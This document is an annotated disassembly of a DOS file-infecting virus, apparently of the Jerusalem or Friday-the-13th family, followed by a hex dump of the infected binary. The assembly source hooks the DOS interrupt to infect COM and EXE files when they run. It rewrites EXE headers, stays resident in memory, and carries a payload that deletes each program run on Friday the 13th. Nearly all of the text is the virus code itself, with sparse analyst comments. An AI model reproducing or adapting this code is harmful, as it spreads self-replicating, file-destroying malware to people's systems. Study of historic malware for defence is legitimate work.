JMP CONTINUE ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
A0103 DB 073H,055H
MS_DOS DB 'MsDos' ;
DB 000H,001H,015H,018H
TIME_BOMB DB 0 ;WHEN == 1 THIS FILE GETS DELETED!
DB 000H
A0010 DB 000H
A0011 DW 100H ;HOST SIZE (BEFORE INFECTION)
OLD_08 DW 0FEA5H,0F000H ;OLD INT 08H VECTOR (CLOCK TIC)
HOST_SIZE DW 27C0H,0001H ;007C
HOST_NAME DW 41D9H,9B28H ;POINTER TO HOST NAME
COMMAND_COM DB 'COMMAND.COM'
DB 1
A0090 DB 0,0,0,0,0
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CONTINUE: ;
CLD ;
MOV AH,0E0H ;DO A ???...
INT 21H ;
;
CMP AH,0E0H ;
JNC L01B5 ;
CMP AH,3 ;
JC L01B5 ;
;
MOV AH,0DDH ;
MOV DI,offset BEGIN_COM ;DI = BEGINNING OF OUR (VIRUS) CODE
MOV SI,0710H ;SI = SIZE OF OUR (VIRUS) CODE
ADD SI,DI ;SI = BEGINNING OF HOST CODE
MOV CX,CS:[DI+11H] ;CX = (SIZE OF HOST CODE?)
INT 21H ;
;
L01B5: MOV AX,CS ;TWEEK CODE SEGMENT BY 100H
ADD AX,10H ;
MOV SS,AX ;SS = TWEEKed CS
MOV SP,700H ;SP = END OF OUR CODE (VIRUS)
;
;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF
;
PUSH AX ;JMP FAR CS+10H:IP-100H
MOV AX,offset BEGIN_EXE - offset BEGIN_COM
PUSH AX ;
RETF ;
;
;---------------------------------------;
ORG 0C5h ;
;---------------------------------------;
;
BEGIN_EXE: ;EXE FILES START HERE
CLD ;
PUSH ES ;
;
MOV CS:[A0031],ES ;
MOV CS:[EXEC_BLOCK+4],ES ;INIT EXEC_BLOCK SEG VALUES
MOV CS:[EXEC_BLOCK+8],ES ;
MOV CS:[EXEC_BLOCK+12],ES ;
;
MOV AX,ES ;TWEEK ES SAME AS CS ABOVE
ADD AX,10H ;
ADD CS:[HOST_CS],AX ; SAVE NEW ES VALUE
ADD CS:[HOST_SS],AX ;
;
MOV AH,0E0H ;
INT 21H ;
;
CMP AH,0E0H ;
JNC L0106 ;00F1 7313
;
CMP AH,3 ;
POP ES ;00F6
MOV SS,CS:[HOST_SS] ;
MOV SP,CS:[HOST_SP] ;
JMP far CS:[HSOT_IP] ;
;
L0106: XOR AX,AX ;0106 33C0
MOV ES,AX ;0108 8EC0
MOV AX,ES:[03FC] ;010A 26A1FC03
MOV CS:[A004B],AX ;010E 2EA34B00
MOV AL,ES:[03FE] ;0112 26A0FE03
MOV CS:[A004D],AL ;0116 2EA24D00
MOV Word ptr ES:[03FC],A5F3 ;011A 26C706FC03F3A5
MOV Byte ptr ES:[03FE],CB ;0121 26C606FE03CB
POP AX ;0127 58
ADD AX,10H ;0128 051000
MOV ES,AX ;012B 8EC0
PUSH CS ;012D 0E
POP DS ;012E 1F
MOV CX,710H ;SIZE OF VIRUS CODE
SHR CX,1 ;0132 D1E9
XOR SI,SI ;0134 33F6
MOV DI,SI ;0136 8BFE
PUSH ES ;0138 06
MOV AX,0142 ;0139 B84201
PUSH AX ;013C 50
JMP 0000:03FC ;013D EAFC030000
;
MOV AX,CS ;0142 8CC8
MOV SS,AX ;0144 8ED0
MOV SP,700H ;0146 BC0007
XOR AX,AX ;0149 33C0
MOV DS,AX ;014B 8ED8
MOV AX,CS:[A004B] ;014D 2EA14B00
MOV [03FC],AX ;0151 A3FC03
MOV AL,CS:[A004D] ;0154 2EA04D00
MOV [03FE],AL ;0158 A2FE03
MOV BX,SP ;015B 8BDC
MOV CL,04 ;015D B104
SHR BX,CL ;015F D3EB
ADD BX,+10 ;0161 83C310
MOV CS:[A0033],BX ;
;
MOV AH,4AH ;
MOV ES,CS:[A0031] ;
INT 21H ;MODIFY ALLOCATED MEMORY BLOCKS
;
MOV AX,3521 ;
INT 21H ;GET VECTOR
MOV CS:[OLD_21],BX ;
MOV CS:[OLD_21+2],ES ;
;
PUSH CS ;0181 0E
POP DS ;0182 1F
MOV DX,offset NEW_INT_21 ;0183 BA5B02
MOV AX,2521 ;
INT 21H ;SAVE VECTOR
;
MOV ES,[A0031] ;018B 8E063100
MOV ES,ES:[A002C] ;018F 268E062C00
XOR DI,DI ;0194 33FF
MOV CX,7FFFH ;0196 B9FF7F
XOR AL,AL ;0199 32C0
REPNE SCASB ;019C AE
CMP ES:[DI],AL ;019D 263805
LOOPNZ 019B ;01A0 E0F9
MOV DX,DI ;01A2 8BD7
ADD DX,+03 ;01A4 83C203
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
PUSH ES ;
POP DS ;
PUSH CS ;
POP ES ;
MOV BX,35H ;
;
PUSH DS ;01B1 ;
PUSH ES ;
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
;
MOV AH,2AH ;
INT 21H ;GET DATE
;
MOV Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE"
;
CMP CX,1987 ;IF 1987...
JE L01F7 ;...JUMP
CMP AL,5 ;IF NOT FRIDAY...
JNE L01D8 ;...JUMP
CMP DL,0DH ;IF DATE IS NOT THE 13th...
JNE L01D8 ;...JUMP
INC Byte ptr CS:[TIME_BOMB] ;TIC THE BOMB COUNT
JMP L01F7 ;
;
L01D8: MOV AX,3508H ;GET CLOCK TIMER VECTOR
INT 21H ;GET VECTOR
MOV CS:[OLD_08],BX ;
MOV CS:[OLD_08],ES ;
;
PUSH CS ;DS=CS
POP DS ;
;
MOV Word ptr [A_FLAG],7E90H ;
;
MOV AX,2508H ;SET NEW CLOCK TIC HANDLER
MOV DX,offset NEW_08 ;
INT 21H ;SET VECTOR
;
L01F7: POP DX ;
POP CX ;
POP BX ;
POP AX ;
POP ES ;
POP DS ;
PUSHF ;
CALL far CS:[OLD_21] ;
PUSH DS ;
POP ES ;
;
MOV AH,49H ;
INT 21H ;FREE ALLOCATED MEMORY
;
MOV AH,4DH ;
INT 21H ;GET RETURN CODE OF A SUBPROCESS
;
;---------------------------------------;
; THIS IS WHERE WE REMAIN RESIDENT ;
;---------------------------------------;
MOV AH,31H ;
MOV DX,0600H ;020F ;
MOV CL,04 ;
SHR DX,CL ;
ADD DX,10H ;
INT 21H ;TERMINATE AND REMAIN RESIDENT
;
;---------------------------------------;
NEW_24: XOR AL,AL ;021B ;CRITICAL ERROR HANDLER
IRET ;
;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 08 (CLOCK TIC) HANDLER ;
;-----------------------------------------------------------------------;
NEW_08: CMP Word ptr CS:[A_FLAG],2 ;021E
JNE N08_10 ;IF ... JUMP
;
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
PUSH BP ;
MOV AX,0602H ;SCROLL UP TWO LINES
MOV BH,87H ;INVERSE VIDEO ATTRIBUTE
MOV CX,0505H ;UPPER LEFT CORNER
MOV DX,1010H ;LOWER RIGHT CORNER
INT 10H ;
POP BP ;
POP DX ;
POP CX ;
POP BX ;
POP AX ;
;
N08_10: DEC Word ptr CS:[A_FLAG] ;ASSURE THAT THIS ONLY HAPPENS ONCE
JNZ N08_90 ; BY RESETTING TO 1 IF EQUAL TO ZERO
MOV Word ptr CS:[A_FLAG],1 ;
;
PUSH AX ;????? IS THIS SOME KIND OF DELAY ?????
PUSH CX ;*** COMMENTS SOLICITED ****
PUSH SI ;
MOV CX,4001H ;
REP LODSB ;
POP SI ;
POP CX ;
POP AX ;
;
N08_90: JMP far CS:[OLD_08] ;PASS CONTROL TO OLD INT 08 VECTOR
;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 21 HANDLER ;
;-----------------------------------------------------------------------;
NEW_21: PUSHF ;025B ;
CMP AH,0E0H ;IF A E0 REQUEST...
JNE N21_10 ;
MOV AX,300H ;...RETURN AX = 300H
POPF ; (OUR PUSHF)
IRET ;
;
N21_10: CMP AH,0DDH ;0266 ;
JE N21_30 ;IF DDH...JUMP TO _30
CMP AH,0DEH ;
JE N21_40 ;IF DEH...JUMP TO _40
CMP AX,4B00H ;IF SPAWN A PROG...
JNE N21_20 ;
JMP N21_50 ;...JUMP TO _50
;
N21_20: POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;ANY OTHER INT 21 GOES TO OLD VECTOR
;
N21_30: POP AX ;REMOVE OUR (PUSHF)
POP AX ;?
MOV AX,100H ;
MOV CS:[000A],AX ;
POP AX ;
MOV CS:[000C],AX ;
REP MOVSB ;
POPF ; (OUR PUSHF)
MOV AX,CS:[000F] ;
JMP far CS:[000A] ;
;
N21_40: ADD SP,+06 ;0298 ;
POPF ; (OUR PUSHF)
MOV AX,CS ;
MOV SS,AX ;
MOV SP,710H ;SIZE OF VIRUS CODE
PUSH ES ;
PUSH ES ;02A4 06
XOR DI,DI ;02A5 33FF
PUSH CS ;02A7 0E
POP ES ;02A8 07
MOV CX,0010 ;02A9 B91000
MOV SI,BX ;02AC 8BF3
MOV DI,0021 ;02AE BF2100
REP MOVSB ;02B2 A4
MOV AX,DS ;02B3 8CD8
MOV ES,AX ;02B5 8EC0
MUL Word ptr CS:[A007A] ;02B7 2EF7267A00
ADD AX,CS:[002B] ;02BC 2E03062B00
ADC DX,+00 ;02C1 83D200
DIV Word ptr CS:[A007A] ;02C4 2EF7367A00
MOV DS,AX ;02C9 8ED8
MOV SI,DX ;02CB 8BF2
MOV DI,DX ;02CD 8BFA
MOV BP,ES ;02CF 8CC5
MOV BX,CS:[002F] ;02D1 2E8B1E2F00
OR BX,BX ;02D6 0BDB
JE 02ED ;02D8 7413
MOV CX,8000 ;02DA B90080
REP MOVSW ;02DE A5
ADD AX,1000 ;02DF 050010
ADD BP,1000 ;02E2 81C50010
MOV DS,AX ;02E6 8ED8
MOV ES,BP ;02E8 8EC5
DEC BX ;02EA 4B
JNE 02DA ;02EB 75ED
MOV CX,CS:[002D] ;02ED 2E8B0E2D00
REP MOVSB ;02F3 A4
POP AX ;02F4 58
PUSH AX ;02F5 50
ADD AX,0010 ;02F6 051000
ADD CS:[0029],AX ;02F9 2E01062900
ADD CS:[0025],AX ;02FE 2E01062500
MOV AX,CS:[0021] ;0303 2EA12100
POP DS ;0307 1F
POP ES ;0308 07
MOV SS,CS:[0029] ;0309 2E8E162900
MOV SP,CS:[0027] ;030E 2E8B262700
JMP far CS:[0023] ;0313 2EFF2E2300
;
;---------------------------------------;
; IT IS TIME FOR THIS FILE TO DIE... ;
; THIS IS WHERE IT GETS DELETED ! ;
;---------------------------------------;
N21_5A: XOR CX,CX ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE (ATT=0)
;
MOV AH,41H ;
INT 21H ;DELETE A FILE
;
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;
;
;---------------------------------------;
; START INFECTION ;
;---------------------------------------;
N21_50: CMP Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE...
JE N21_5A ;...JUMP
;
MOV Word ptr CS:[HANDLE],-1 ;ASSUME NOT OPEN
MOV Word ptr CS:[A008F],0 ;
MOV word ptr CS:[HOST_NAME],DX ;SAVE POINTER TO FILE NAME
MOV word ptr CS:[HOST_NAME+2],DS ;
;
;INFECTION PROCESS OCCURS HERE ;
PUSH AX ;034C 50
PUSH BX ;034D 53
PUSH CX ;034E 51
PUSH DX ;034F 52
PUSH SI ;0350 56
PUSH DI ;0351 57
PUSH DS ;0352 1E
PUSH ES ;0353 06
CLD ;0354 FC
MOV DI,DX ;0355 8BFA
XOR DL,DL ;0357 32D2
CMP Byte ptr [DI+01],3A ;0359 807D013A
JNE L0364 ;035D 7505
MOV DL,[DI] ;035F 8A15
AND DL,1F ;0361 80E21F
;
L0364: MOV AH,36 ;
INT 21H ;GET DISK FREE SPACE
CMP AX,-1 ;0368 3DFFFF
JNE L0370 ;036B 7503
L036D: JMP I_90 ;036D E97702
;
L0370: MUL BX ;0370 F7E3
MUL CX ;0372 F7E1
OR DX,DX ;0374 0BD2
JNE L037D ;0376 7505
CMP AX,710H ;0378 3D1007
JC L036D ;037B 72F0
L037D: MOV DX,word ptr CS:[HOST_NAME]
PUSH DS ;0382 1E
POP ES ;0383 07
XOR AL,AL ;0384 32C0
MOV CX,41 ;0386 B94100
REPNE SCASB ;038A AE
MOV SI,word ptr CS:[HOST_NAME]
L0390: MOV AL,[SI] ;0390 8A04
OR AL,AL ;0392 0AC0
JE L03A4 ;0394 740E
CMP AL,61 ;0396 3C61
JC L03A1 ;0398 7207
CMP AL,7A ;039A 3C7A
JA L03A1 ;039C 7703
SUB Byte ptr [SI],20 ;039E 802C20
L03A1: INC SI ;03A1 46
JMP L0390 ;03A2 EBEC
;
L03A4: MOV CX,000B ;03A4 B90B00
SUB SI,CX ;03A7 2BF1
MOV DI,offset COMMAND_COM ;03A9 BF8400
PUSH CS ;03AC 0E
POP ES ;03AD 07
MOV CX,000B ;03AE B90B00
REPE CMPSB ;03B2 A6
JNE L03B8 ;03B3 7503
JMP I_90 ;03B5 E92F02
;
L03B8: MOV AX,4300H ;
INT 21H ;CHANGE FILE MODE
JC L03C4 ;03BD 7205
;
MOV CS:[HOST_ATT],CX ;03BF ;
L03C4: JC L03EB ;03C4 7225
XOR AL,AL ;03C6 32C0
MOV CS:[A004E],AL ;03C8 2EA24E00
PUSH DS ;03CC 1E
POP ES ;03CD 07
MOV DI,DX ;03CE 8BFA
MOV CX,41 ;03D0 B94100
REPNZ SCASB ;03D4 AE
CMP Byte ptr [DI-02],4D ;03D5 807DFE4D
JE L03E6 ;03D9 740B
CMP Byte ptr [DI-02],6D ;03DB 807DFE6D
JE L03E6 ;03DF 7405
INC Byte ptr CS:[A004E] ;03E1 2EFE064E00
;
L03E6: MOV AX,3D00H ;
INT 21H ;OPEN FILE READ ONLY
L03EB: JC L0447 ;
MOV CS:[HANDLE],AX ;03ED ;
;
MOV BX,AX ;MOVE TO END OF FILE -5
MOV AX,4202 ;
MOV CX,-1 ;FFFFFFFB
MOV DX,-5 ;
INT 21H ;MOVE FILE POINTER
JC L03EB ;
;
ADD AX,5 ;0400 ;
MOV CS:[A0011],AX ;?SAVE HOST SIZE
;
MOV CX,5 ;0407 ;READ LAST 5 BYTES OF HOST
MOV DX,offset A006B ;
MOV AX,CS ;
MOV DS,AX ;
MOV ES,AX ;
MOV AH,3FH ;
INT 21H ;READ FROM A FILE
;
MOV DI,DX ;0417 ;CHECK IF LAST 5 BYTES = 'MsDos'
MOV SI,offset MS_DOS ;
REPE CMPSB ;
JNE L0427 ;
MOV AH,3E ;IF == 'MsDos'...
INT 21H ;CLOSE FILE
JMP I_90 ;...PASS CONTROL TO DOS
;
L0427: MOV AX,3524 ;GET CRITICAL ERROR VECTOR
INT 21H ;GET VECTOR
MOV [OLD_24],BX ;
MOV [OLD_24+2],ES ;
;
MOV DX,offset NEW_24 ;
MOV AX,2524 ;SET CRITICAL ERROR VECTOR
INT 21H ;SET VECTOR
;
LDS DX,dword ptr [HOST_NAME];
XOR CX,CX ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE
L0447: JC L0484 ;
;
MOV BX,CS:[HANDLE] ;
MOV AH,3E ;
INT 21H ;CLOSE FILE
;
MOV Word ptr CS:[HANDLE],-1 ;CLEAR HANDLE
;
MOV AX,3D02 ;
INT 21H ;OPEN FILE R/W
JC L0484 ;
;
MOV CS:[HANDLE],AX ;0460 2EA37000
MOV AX,CS ;0464 8CC8
MOV DS,AX ;0466 8ED8
MOV ES,AX ;0468 8EC0
MOV BX,[HANDLE] ;046A 8B1E7000
MOV AX,5700 ;046E B80057
INT 21H ;GET/SET FILE DATE TIME
;
MOV [HOST_DATE],DX ;0473 89167400
MOV [HOST_TIME],CX ;0477 890E7600
MOV AX,4200 ;047B B80042
XOR CX,CX ;047E 33C9
MOV DX,CX ;0480 8BD1
INT 21H ;MOVE FILE POINTER
L0484: JC L04C3 ;0484 723D
;
CMP Byte ptr [A004E],00 ;0486 803E4E0000
JE L0490 ;048B 7403
JMP L04E6 ;048D EB57
;
NOP ;048F 90
L0490: MOV BX,1000 ;0490 BB0010
MOV AH,48 ;0493 B448
INT 21H ;ALLOCATE MEMORY
JNC L04A4 ;0497 730B
;
MOV AH,3E ;0499 B43E
MOV BX,[HANDLE] ;049B 8B1E7000
INT 21H ;CLOSE FILE (OBVIOUSLY)
JMP I_90 ;04A1 E94301
;
L04A4: INC Word ptr [A008F] ;04A4 FF068F00
MOV ES,AX ;04A8 8EC0
XOR SI,SI ;04AA 33F6
MOV DI,SI ;04AC 8BFE
MOV CX,710H ;04AE B91007
REP MOVSB ;04B2 A4
MOV DX,DI ;04B3 8BD7
MOV CX,[A0011] ;?GET HOST SIZE - YES
MOV BX,[70H] ;04B9 8B1E7000
PUSH ES ;04BD 06
POP DS ;04BE 1F
MOV AH,3FH ;04BF B43F
INT 21H ;READ FROM A FILE
L04C3: JC L04E1 ;04C3 721C
;
ADD DI,CX ;04C5 03F9
;
XOR CX,CX ;POINT TO BEGINNING OF FILE
MOV DX,CX ;
MOV AX,4200H ;
INT 21H ;MOVE FILE POINTER
;
MOV SI,offset MS_DOS ;04D0 BE0500
MOV CX,5 ;04D3 B90500
REP CS:MOVSB ;04D7 2EA4
MOV CX,DI ;04D9 8BCF
XOR DX,DX ;04DB 33D2
MOV AH,40H ;
INT 21H ;WRITE TO A FILE
L04E1: JC L04F0 ;
JMP L05A2 ;
;
;---------------------------------------;
; READ EXE HEADER ;
;---------------------------------------;
L04E6: MOV CX,1CH ;READ EXE HEADER INTO BUFFER
MOV DX,offset EXE_HDR ;
MOV AH,3F ;
INT 21H ;READ FILE
JC L053C ;
;
;---------------------------------------;
; TWEEK EXE HEADER TO INFECTED HSOT ;
;---------------------------------------;
MOV Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S EXE HEADER INFO
MOV AX,[EXE_HDR+14] ; SS
MOV [HOST_SS],AX ;
MOV AX,[EXE_HDR+16] ; SP
MOV [HOST_SP],AX ;
MOV AX,[EXE_HDR+20] ; IP
MOV [HOST_IP],AX ;
MOV AX,[EXE_HDR+22] ; CS
MOV [HOST_CS],AX ;
MOV AX,[EXE_HDR+4] ; SIZE (IN 512 BLOCKS)
CMP Word ptr [EXE_HDR+2],0 ; SIZE MOD 512
JZ L051B ;IF FILE SIZE==0...JMP
DEC AX ;
L051B: MUL Word ptr [BLOCK_SIZE] ;
ADD AX,[EXE_HDR+2] ;
ADC DX,0 ;AX NOW = FILE SIZE
;
ADD AX,0FH ;MAKE SURE FILE SIZE IS PARA. BOUND
ADC DX,0 ;
AND AX,0FFF0H ;
MOV [HOST_SIZE],AX ;SAVE POINTER TO BEGINNING OF VIRUS
MOV [HOST_SIZE+2],DX ;
;
ADD AX,710H ;(SIZE OF VIRUS)
ADC DX,0 ;
L053C: JC L0578 ;IF > FFFFFFFF...JMP
DIV Word ptr [BLOCK_SIZE] ;
OR DX,DX ;
JE L0547 ;
INC AX ;
L0547: MOV [EXE_HDR+4],AX ;
MOV [EXE_HDR+2],DX ;
;---------------;
MOV AX,[HOST_SIZE] ;DX:AX = HOST SIZE
MOV DX,[HOST_SIZE+2] ;
DIV Word ptr [A007A] ;
SUB AX,[EXE_HEAD+8] ;SIZE OF EXE HDR
MOV [EXE_HDR+22],AX ;VALUE OF CS
MOV Word ptr [EXE_HDR+20],offset BEGIN_EXE ;VALUE OF IP
MOV [EXE_HDR+14],AX ;VALUE OF SS
MOV Word ptr [EXE_HDR+16],710H ;VALUE OF SP
;---------------;
XOR CX,CX ;POINT TO BEGINNING OF FILE (EXE HDR)
MOV DX,CX ;
MOV AX,4200H ;
INT 21H ;MOVE FILE POINTER
L0578: JC L0584 ;
;
;---------------------------------------;
; WRITE INFECTED EXE HEADER ;
;---------------------------------------;
MOV CX,1CH ;
MOV DX,offset EXE_HDR ;
MOV AH,40H ;
INT 21H ;WRITE TO A FILE
L0584: JC L0597 ;
CMP AX,CX ;
JNE L05A2 ;
;
MOV DX,[HOST_SIZE] ;POINT TO END OF FILE
MOV CX,[HOST_SIZE+2] ;
MOV AX,4200 ;
INT 21H ;MOVE FILE POINTER
L0597: JC L05A2 ;
;
;---------------------------------------;
; WRITE VIRUS CODE TO END OF HOST ;
;---------------------------------------;
XOR DX,DX ;
MOV CX,710H ;(SIZE OF VIRUS)
MOV AH,40H ;
INT 21H ;WRITE TO A FILE
;
L05A2: CMP Word ptr CS:[008F],0 ;IF...
JZ L05AE ;...SKIP
MOV AH,49H ;
INT 21H ;FREE ALLOCATED MEMORY
;
L05AE: CMP Word ptr CS:[HANDLE],-1 ;IF ...
JE I_90 ;...SKIP
;
MOV BX,CS:[HANDLE] ;RESTORE HOST'S DATE/TIME
MOV DX,CS:[HOST_DATE] ;
MOV CX,CS:[HOST_TIME] ;
MOV AX,5701H ;
INT 21H ;GET/SET FILE DATE/TIME
;
MOV AH,3EH ;
INT 21H ;CLOSE FILE
;
LDS DX,CS:[HOST_NAME] ;RESTORE HOST'S ATTRIBUTE
MOV CX,CS:[HOST_ATT] ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE
;
LDS DX,dword ptr CS:[OLD_24];RESTORE CRITICAL ERROR HANDLER
MOV AX,2524H ;
INT 21H ;SET VECTOR
;
I_90: POP ES ;
POP DS ;
POP DI ;
POP SI ;
POP DX ;
POP CX ;
POP BX ;
POP AX ;
POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;PASS CONTROL TO DOS
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
;0100 E9 92 00 73 55 4D 73 44-6F 73 00 01 15 18 00 00 i..sUMsDos......
;0110 00 00 01 A5 FE 00 F0 60-14 4E 02 56 05 A5 16 48 ...%~.p`.N.V.%.H
;0120 7E 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ~...............
;0130 00 8E 17 80 00 00 00 80-00 8E 17 5C 00 8E 17 6C ...........\...l
;0140 00 8E 17 10 07 7A 34 C5-00 7A 34 10 F0 82 00 4D .....z4E.z4.p..M
;0150 5A D0 00 98 00 31 00 20-00 11 00 FF FF 5C 12 10 ZP...1. .....\..
;0160 07 84 19 C5 00 5C 12 20-00 00 00 C3 C3 C3 C3 C3 ...E.\. ...CCCCC
;0170 05 00 20 00 21 00 2D 00-00 02 10 00 C0 27 01 00 .. .!.-.....@'..
;0180 D9 41 28 9B 43 4F 4D 4D-41 4E 44 2E 43 4F 4D 01 YA(.COMMAND.COM.
;0190 00 00 00 00 00 FC B4 E0-CD 21 80 FC E0 73 16 80 .....|4`M!.|`s..
;01A0 FC 03 72 11 B4 DD BF 00-01 BE 10 07 03 F7 2E 8B |.r.4]?..>...w..
;01B0 8D 11 00 CD 21 8C C8 05-10 00 8E D0 BC 00 07 50 ...M!.H....P<..P
;01C0 B8 C5 00 50 CB FC 06 2E-8C 06 31 00 2E 8C 06 39 8E.PK|....1....9
;01D0 00 2E 8C 06 3D 00 2E 8C-06 41 00 8C C0 05 10 00 ....=....A..@...
;01E0 2E 01 06 49 00 2E 01 06-45 00 B4 E0 CD 21 80 FC ...I....E.4`M!.|
;01F0 E0 73 13 80 FC 03 07 2E-8E 16 45 00 2E 8B 26 43 `s..|.....E...&C
;0200 00 2E FF 2E 47 00 33 C0-8E C0 26 A1 FC 03 2E A3 ....G.3@.@&!|..#
;0210 4B 00 26 A0 FE 03 2E A2-4D 00 26 C7 06 FC 03 F3 K.& ~.."M.&G.|.s
;0220 A5 26 C6 06 FE 03 CB 58-05 10 00 8E C0 0E 1F B9 %&F.~.KX....@..9
;0230 10 07 D1 E9 33 F6 8B FE-06 B8 42 01 50 EA FC 03 ..Qi3v.~.8B.Pj|.
;0240 00 00 8C C8 8E D0 BC 00-07 33 C0 8E D8 2E A1 4B ...H.P<..3@.X.!K
;0250 00 A3 FC 03 2E A0 4D 00-A2 FE 03 8B DC B1 04 D3 .#|.. M."~..\1.S
;0260 EB 83 C3 10 2E 89 1E 33-00 B4 4A 2E 8E 06 31 00 k.C....3.4J...1.
;0270 CD 21 B8 21 35 CD 21 2E-89 1E 17 00 2E 8C 06 19 M!8!5M!.........
;0280 00 0E 1F BA 5B 02 B8 21-25 CD 21 8E 06 31 00 26 ...:[.8!%M!..1.&
;0290 8E 06 2C 00 33 FF B9 FF-7F 32 C0 F2 AE 26 38 05 ..,.3.9..2@r.&8.
;02A0 E0 F9 8B D7 83 C2 03 B8-00 4B 06 1F 0E 07 BB 35 `y.W.B.8.K....;5
;02B0 00 1E 06 50 53 51 52 B4-2A CD 21 2E C6 06 0E 00 ...PSQR4*M!.F...
;02C0 00 81 F9 C3 07 74 30 3C-05 75 0D 80 FA 0D 75 08 ..yC.t0<.u..z.u.
;02D0 2E FE 06 0E 00 EB 20 90-B8 08 35 CD 21 2E 89 1E .~...k .8.5M!...
;02E0 13 00 2E 8C 06 15 00 0E-1F C7 06 1F 00 90 7E B8 .........G....~8
;02F0 08 25 BA 1E 02 CD 21 5A-59 5B 58 07 1F 9C 2E FF .%:..M!ZY[X.....
;0300 1E 17 00 1E 07 B4 49 CD-21 B4 4D CD 21 B4 31 BA .....4IM!4MM!41:
;0310 00 06 B1 04 D3 EA 83 C2-10 CD 21 32 C0 CF 2E 83 ..1.Sj.B.M!2@O..
;0320 3E 1F 00 02 75 17 50 53-51 52 55 B8 02 06 B7 87 >...u.PSQRU8..7.
;0330 B9 05 05 BA 10 10 CD 10-5D 5A 59 5B 58 2E FF 0E 9..:..M.]ZY[X...
;0340 1F 00 75 12 2E C7 06 1F-00 01 00 50 51 56 B9 01 ..u..G.....PQV9.
;0350 40 F3 AC 5E 59 58 2E FF-2E 13 00 9C 80 FC E0 75 @s,^YX.......|`u
;0360 05 B8 00 03 9D CF 80 FC-DD 74 13 80 FC DE 74 28 .8...O.|]t..|^t(
;0370 3D 00 4B 75 03 E9 B4 00-9D 2E FF 2E 17 00 58 58 =.Ku.i4.......XX
;0380 B8 00 01 2E A3 0A 00 58-2E A3 0C 00 F3 A4 9D 2E 8...#..X.#..s$..
;0390 A1 0F 00 2E FF 2E 0A 00-83 C4 06 9D 8C C8 8E D0 !........D...H.P
;03A0 BC 10 07 06 06 33 FF 0E-07 B9 10 00 8B F3 BF 21 <....3...9...s?!
;03B0 00 F3 A4 8C D8 8E C0 2E-F7 26 7A 00 2E 03 06 2B .s$.X.@.w&z....+
;03C0 00 83 D2 00 2E F7 36 7A-00 8E D8 8B F2 8B FA 8C ..R..w6z..X.r.z.
;03D0 C5 2E 8B 1E 2F 00 0B DB-74 13 B9 00 80 F3 A5 05 E.../..[t.9..s%.
;03E0 00 10 81 C5 00 10 8E D8-8E C5 4B 75 ED 2E 8B 0E ...E...X.EKum...
;03F0 2D 00 F3 A4 58 50 05 10-00 2E 01 06 29 00 2E 01 -.s$XP......)...
;0400 06 25 00 2E A1 21 00 1F-07 2E 8E 16 29 00 2E 8B .%..!!......)...
;0410 26 27 00 2E FF 2E 23 00-33 C9 B8 01 43 CD 21 B4 &'....#.3I8.CM!4
;0420 41 CD 21 B8 00 4B 9D 2E-FF 2E 17 00 2E 80 3E 0E AM!8.K........>.
;0430 00 01 74 E4 2E C7 06 70-00 FF FF 2E C7 06 8F 00 ..td.G.p....G...
;0440 00 00 2E 89 16 80 00 2E-8C 1E 82 00 50 53 51 52 ............PSQR
;0450 56 57 1E 06 FC 8B FA 32-D2 80 7D 01 3A 75 05 8A VW..|.z2R.}.:u..
;0460 15 80 E2 1F B4 36 CD 21-3D FF FF 75 03 E9 77 02 ..b.46M!=..u.iw.
;0470 F7 E3 F7 E1 0B D2 75 05-3D 10 07 72 F0 2E 8B 16 wcwa.Ru.=..rp...
;0480 80 00 1E 07 32 C0 B9 41-00 F2 AE 2E 8B 36 80 00 ....2@9A.r...6..
;0490 8A 04 0A C0 74 0E 3C 61-72 07 3C 7A 77 03 80 2C ...@t.
;04A0 20 46 EB EC B9 0B 00 2B-F1 BF 84 00 0E 07 B9 0B Fkl9..+q?....9.
;04B0 00 F3 A6 75 03 E9 2F 02-B8 00 43 CD 21 72 05 2E .s&u.i/.8.CM!r..
;04C0 89 0E 72 00 72 25 32 C0-2E A2 4E 00 1E 07 8B FA ..r.r%2@."N....z
;04D0 B9 41 00 F2 AE 80 7D FE-4D 74 0B 80 7D FE 6D 74 9A.r..}~Mt..}~mt
;04E0 05 2E FE 06 4E 00 B8 00-3D CD 21 72 5A 2E A3 70 ..~.N.8.=M!rZ.#p
;04F0 00 8B D8 B8 02 42 B9 FF-FF BA FB FF CD 21 72 EB ..X8.B9..:{.M!rk
;0500 05 05 00 2E A3 11 00 B9-05 00 BA 6B 00 8C C8 8E ....#..9..:k..H.
;0510 D8 8E C0 B4 3F CD 21 8B-FA BE 05 00 F3 A6 75 07 X.@4?M!.z>..s&u.
;0520 B4 3E CD 21 E9 C0 01 B8-24 35 CD 21 89 1E 1B 00 4>M!i@.8$5M!....
;0530 8C 06 1D 00 BA 1B 02 B8-24 25 CD 21 C5 16 80 00 ....:..8$%M!E...
;0540 33 C9 B8 01 43 CD 21 72-3B 2E 8B 1E 70 00 B4 3E 3I8.CM!r;...p.4>
;0550 CD 21 2E C7 06 70 00 FF-FF B8 02 3D CD 21 72 24 M!.G.p...8.=M!r$
;0560 2E A3 70 00 8C C8 8E D8-8E C0 8B 1E 70 00 B8 00 .#p..H.X.@..p.8.
;0570 57 CD 21 89 16 74 00 89-0E 76 00 B8 00 42 33 C9 WM!..t...v.8.B3I
;0580 8B D1 CD 21 72 3D 80 3E-4E 00 00 74 03 EB 57 90 .QM!r=.>N..t.kW.
